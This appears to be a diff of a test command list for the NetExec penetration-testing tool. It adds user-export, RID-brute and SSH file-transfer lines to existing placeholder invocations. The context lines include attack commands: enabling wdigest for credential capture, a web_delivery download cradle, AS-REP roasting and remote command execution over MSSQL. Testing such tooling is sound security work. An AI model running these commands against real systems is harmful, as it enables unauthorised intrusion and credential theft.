TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=enable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=disable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle @@ -171,6 +180,7 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocke ##### LDAP netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid netexec ldap TARGET_HOST -u LOGIN_USERNAME -p '' --asreproast /tmp/output.txt @@ -212,6 +222,7 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p ##### MSSQL netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute ##### MSSQL PowerShell netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 @@ -252,6 +263,8 @@ netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo- netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10 netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10 +netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put-file TEST_NORMAL_FILE /tmp/test_file.txt --put-file TEST_NORMAL_FILE /tmp/test_file2.txt +netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get-file /tmp/test_file.txt /tmp/test_file.txt --get-file /tmp/test_file.txt /tmp/test_file2.txt ##### FTP- Default test passwords and random key; switch these out if you want correct authentication netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls